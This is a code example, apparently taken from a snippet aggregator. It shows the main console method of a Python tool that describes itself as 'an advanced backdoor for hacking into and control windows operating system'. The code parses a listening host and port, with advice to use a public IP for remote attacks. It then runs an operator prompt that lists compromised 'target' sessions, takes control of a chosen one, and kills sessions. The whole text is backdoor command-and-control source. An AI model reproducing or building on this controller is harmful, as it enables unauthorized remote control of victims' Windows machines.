Esempio n. 1
0
	def __main(self):
		parser = ArgumentParser(description="An advanced backdoor for hacking into and  control windows operating system. Use it responsibily.")
		parser.add_argument("-lh", "--lhost", help="Your local private IP Address to bind the incoming connecion to, use your public public IP address for remote attacks.", required=True)
		parser.add_argument("-lp", "--lport", help="Any unused port to listen for the incoming connection.", type=int, required=True)
		args = parser.parse_args()
		lhost = args.lhost
		lport = args.lport
		self.__full_banner()

		server = Server(lhost, lport)

		while True:
			cmd = input(f'''
{colored("┌──(", "cyan")}{colored(f"pwnlnx㉿{socket.gethostname()}", "blue")}{colored(")-[", "cyan")}{colored("~", "white")}{colored("]","cyan")}
{colored("└─","cyan")}{colored("$", "blue")} ''')
			if cmd == "help":
				self.__show_help()
			elif cmd == "show sessions":
				if server.c_sockets:
					print("session_id\ttarget ip\n")
					server.show_connections()
				else:
					print(f'{colored("[-]", "yellow")} No available sessions.')
			elif cmd[:7] == "session":
				try:
					s_id = int(cmd[8:])
					c_socket = server.c_sockets[s_id]
					c_addr = server.c_addrs[int(s_id)]
					server.control_clients(c_socket, c_addr, s_id)
				except Exception as e:
					print(f'{colored("[!]", "red")} No Session under that ID.')
			elif cmd[:4] == "kill":
				if isinstance(int(cmd[5:]), int):
					s_id = int(cmd[5:])
					try:
						if server.c_sockets:
							c_socket = server.c_sockets[s_id]
							server.reliable_send(c_socket, "quit")
							server.c_sockets.pop(s_id)
							server.c_addrs.pop(s_id)
						else:
							print(f'{colored("[-]", "yellow")} No session under that id.')
					except IndexError:
						print(f'{colored("[-]", "yellow")} No session under that id.')					
				elif cmd[5:] == "all":
					if server.c_sockets:
						for c_socket in server.c_sockets:
							server.reliable_send(c_socket, "quit")
						del server.c_sockets[:]
						del server.c_addrs[:]
					else:
						print(f'{colored("[-]", "yellow")} No available session(s) to kill.')
					
			elif cmd == "exit":
				if server.c_sockets:
					for c_socket in server.c_sockets:
						server.reliable_send(c_socket, "quit")
				server.terminate_ac = True
				break
			elif cmd == "clear":
				os.system("clear")
			elif cmd == "banner":
				self.__banner()

			else:
				print(f'{colored("[!]", "red")} bash: {colored(f"{cmd}", "red")} : command not found')